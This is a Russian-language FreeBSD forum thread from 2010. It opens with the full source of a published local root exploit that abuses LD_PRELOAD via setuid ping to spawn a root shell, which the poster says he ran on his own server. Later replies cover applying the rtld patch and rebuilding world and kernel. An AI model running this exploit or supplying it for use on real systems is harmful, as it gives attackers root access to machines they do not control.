Страница 1 из 2

Люди это [censored]!

Добавлено: 2010-01-27 3:50:28
fox
Доброй ночи, прошу меня извинить за не цензуру, я перевозбуждён, но есть причины!
Случайно рылся в инете и нашёл вот это:
http://seclists.org/fulldisclosure/2009/Nov/371
Затем вот это:
http://www.xakep.ru/post/50314/default.asp
Не долго думая, зашёл под самым безобидным пользователем, юзнул этот скрипт:

Код: Выделить всё

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>

main() {
        extern char **environ;
        environ = (char**)malloc(8096);

        environ[0] = (char*)malloc(1024);
        environ[1] = (char*)malloc(1024);
        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

        execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        extern char **environ;
        environ=NULL;
        system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

Не потратил больше 15 минут, немного манипуляций с master.passwd и создал нужного пользователя а затем root пароль убрал, и что вы думает захватил свой сервер!
Осталось только одно отшлифовать, найти способ загрузить скрипт и безобидного пользователя, даже не из группы wheel…
Не знаю, возможно многие из вас уже читали об этом, но мне кажется масштаб этого экплоита велик!!! Есть о чём задуматься, я в шоке!!!

Re: Люди это пиздец!

Добавлено: 2010-01-27 6:18:41
zg
fox писал(а):найти способ загрузить скрипт и безобидного пользователя, даже не из группы wheel…
любой хостинг, хоть платный, хоть бесплатный

стоит, однако, задуматься...

Re: Люди это пиздец!

Добавлено: 2010-01-27 7:44:44
f_andrey
zg писал(а):стоит, однако, задуматься...
О да это обычно не лишне, только смотрим сначала на название раздела, потом можно еше немного подумать

Ну и мотивационна картинка
Изображение

Re: Люди это пиздец!

Добавлено: 2010-01-27 8:29:26
iye
А я почему то всегда думал что шел доступен только на виртуальных машинах... у всех остальных в качестве шела стоит /usr/sbin/nologin а все скрипты выполняются в chroot окружении...

Re: Люди это [censored]!

Добавлено: 2010-01-27 8:33:47
hizel
опять хладоген потек? надо быть внимательнее что-ли :pardon:

Re: Люди это [censored]!

Добавлено: 2010-01-27 8:54:18
terminus
[::||||||||/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\||||||||::]
:bn: :bn: :bn:

Код: Выделить всё

November 2009

Re: Люди это [censored]!

Добавлено: 2010-01-27 9:48:53
princeps
я так понимаю, боян: http://forum.lissyara.su/viewtopic.php?f=46&t=22252
:)

Re: Люди это [censored]!

Добавлено: 2010-01-27 14:22:50
fox
princeps писал(а):я так понимаю, боян: http://forum.lissyara.su/viewtopic.php?f=46&t=22252
:)
Согласен, мне не это важно!
Важно то, как закрыть эту бреш?????
Патчь нужен!!!!

Re: Люди это [censored]!

Добавлено: 2010-01-27 14:26:56
iye
По линку пробегала ссылка : http://people.freebsd.org/~cperciva/rtld.patch

Re: Люди это [censored]!

Добавлено: 2010-01-27 14:31:41
fox
iye писал(а):По линку пробегала ссылка : http://people.freebsd.org/~cperciva/rtld.patch
Извините за не скромный вопрос, а как им пользоваться?
Не получается...

Re: Люди это [censored]!

Добавлено: 2010-01-27 14:43:39
iye
НАмекаю ) Открой ссылку ) Открой )
fox писал(а):
princeps писал(а):я так понимаю, боян: http://forum.lissyara.su/viewtopic.php?f=46&t=22252
:)
Согласен, мне не это важно!
Важно то, как закрыть эту бреш?????
Патчь нужен!!!!

Re: Люди это [censored]!

Добавлено: 2010-01-27 14:52:11
princeps
fox писал(а):Важно то, как закрыть эту бреш?????Патчь нужен!!!!
Обновиться? Да и подпишись уже на security-advisories, чтобы узнавать о критических уязвимостях не через три месяца :)

Re: Люди это [censored]!

Добавлено: 2010-01-27 14:55:07
fox
iye писал(а):НАмекаю ) Открой ссылку ) Открой )
fox писал(а):
princeps писал(а):я так понимаю, боян: http://forum.lissyara.su/viewtopic.php?f=46&t=22252
:)
Согласен, мне не это важно!
Важно то, как закрыть эту бреш?????
Патчь нужен!!!!
Открыл, но патч не катит, чо то:

Код: Выделить всё

# patch < path.path
Hmm...  Looks like a unified diff to me...
The text leading up to this was:
--------------------------
|Index: rtld.c
|===================================================================
|--- rtld.c     (revision 199977)
|+++ rtld.c     (working copy)
--------------------------
File to patch: /usr/src/libexec/rtld-elf/rtld.c
Patching file /usr/src/libexec/rtld-elf/rtld.c using Plan A...
Hunk #1 failed at 366.
1 out of 1 hunks failed--saving rejects to /usr/src/libexec/rtld-elf/rtld.c.rej
Hmm...  Ignoring the trailing garbage.
done

Re: Люди это [censored]!

Добавлено: 2010-01-27 14:56:16
fox
princeps писал(а):
fox писал(а):Важно то, как закрыть эту бреш?????Патчь нужен!!!!
Обновиться? Да и подпишись уже на security-advisories, чтобы узнавать о критических уязвимостях не через три месяца :)
А как это сделать? Любезный, не подскажите?

Re: Люди это [censored]!

Добавлено: 2010-01-27 15:01:32
princeps
ну отчего же не подсказать хорошему человеку: http://lists.freebsd.org/mailman/listin ... ifications
И следи за разделом "новости", там обычно самые важные обновления обсуждаются.

Re: Люди это [censored]!

Добавлено: 2010-01-27 15:04:39
fox
Я пологаю, может быть я не прав, нужно вот по этой ссылке:
http://security.freebsd.org/advisories/ ... 6.rtld.asc
Там есть откуда, что скачать а затем:
# cd /usr/src
# patch < /path/to/patch
# cd /usr/src/libexec/rtld-elf
# make obj && make depend && make && make install
Так что ли?

Re: Люди это [censored]!

Добавлено: 2010-01-27 15:09:22
fox
princeps писал(а):ну отчего же не подсказать хорошему человеку: http://lists.freebsd.org/mailman/listin ... ifications
И следи за разделом "новости", там обычно самые важные обновления обсуждаются.
Спасибо огромное!

Re: Люди это [censored]!

Добавлено: 2010-01-27 15:11:53
iye
Думаю стоит попробовать собрать, если соберется отбэкапиться и попробовать проинсталить и посмотреть что получится.

Re: Люди это [censored]!

Добавлено: 2010-01-27 15:12:59
princeps
fox писал(а):Я пологаю, может быть я не прав, нужно вот по этой ссылке:http://security.freebsd.org/advisories/ ... 6.rtld.ascТам есть откуда, что скачать а затем:
обнови исходники и обнови систему по хэндбуку. и будет тебе счастье. С тех пор, ещё уязвимости были, в январе.

Re: Люди это [censored]!

Добавлено: 2010-01-27 15:20:06
fox
princeps писал(а):
fox писал(а):Я пологаю, может быть я не прав, нужно вот по этой ссылке:http://security.freebsd.org/advisories/ ... 6.rtld.ascТам есть откуда, что скачать а затем:
обнови исходники и обнови систему по хэндбуку. и будет тебе счастье. С тех пор, ещё уязвимости были, в январе.
Так вы предлогаете полность мир пересобрать?
А если мир пересобирать, я извсеняюсь может быть это покажется глупым но боюсь ошибиться, патчить нужно если мир пересобирать, или разработчики уже побеспакоились за меня?

Re: Люди это [censored]!

Добавлено: 2010-01-27 15:34:02
princeps
fox писал(а): патчить нужно если мир пересобирать,
не нужно. И пересобирать надо не только мир, но и ядро. И обязательно обнови исходники сначала, иначе толку не будет.

Re: Люди это [censored]!

Добавлено: 2010-01-27 15:39:54
fox
princeps писал(а):
fox писал(а): патчить нужно если мир пересобирать,
не нужно. И пересобирать надо не только мир, но и ядро. И обязательно обнови исходники сначала, иначе толку не будет.
Ну это понятно, обновить, а потом полный фарш пересборки всего насвети (мира, ядра)...
Спасибо, за внимание!

Re: Люди это [censored]!

Добавлено: 2010-01-27 20:29:30
fox
Всё класс, после апгрейда!!!
Получилось, я там ещё нашёл одного эксплоита, тот ядро переполнял, но после апгрейда всё классно, закрыто!
Спасибо всем за участие!

Re: Люди это [censored]!

Добавлено: 2010-01-28 12:43:01
schizoid
а что freebsd-update fetch не проканает разве? или по-любому мир/ядро пересобирать?

Re: Люди это [censored]!

Добавлено: 2010-01-28 12:46:18
princeps
проканает, наверное, почему не проканать? я пересобираю, мне это как-то надёжнее кажется.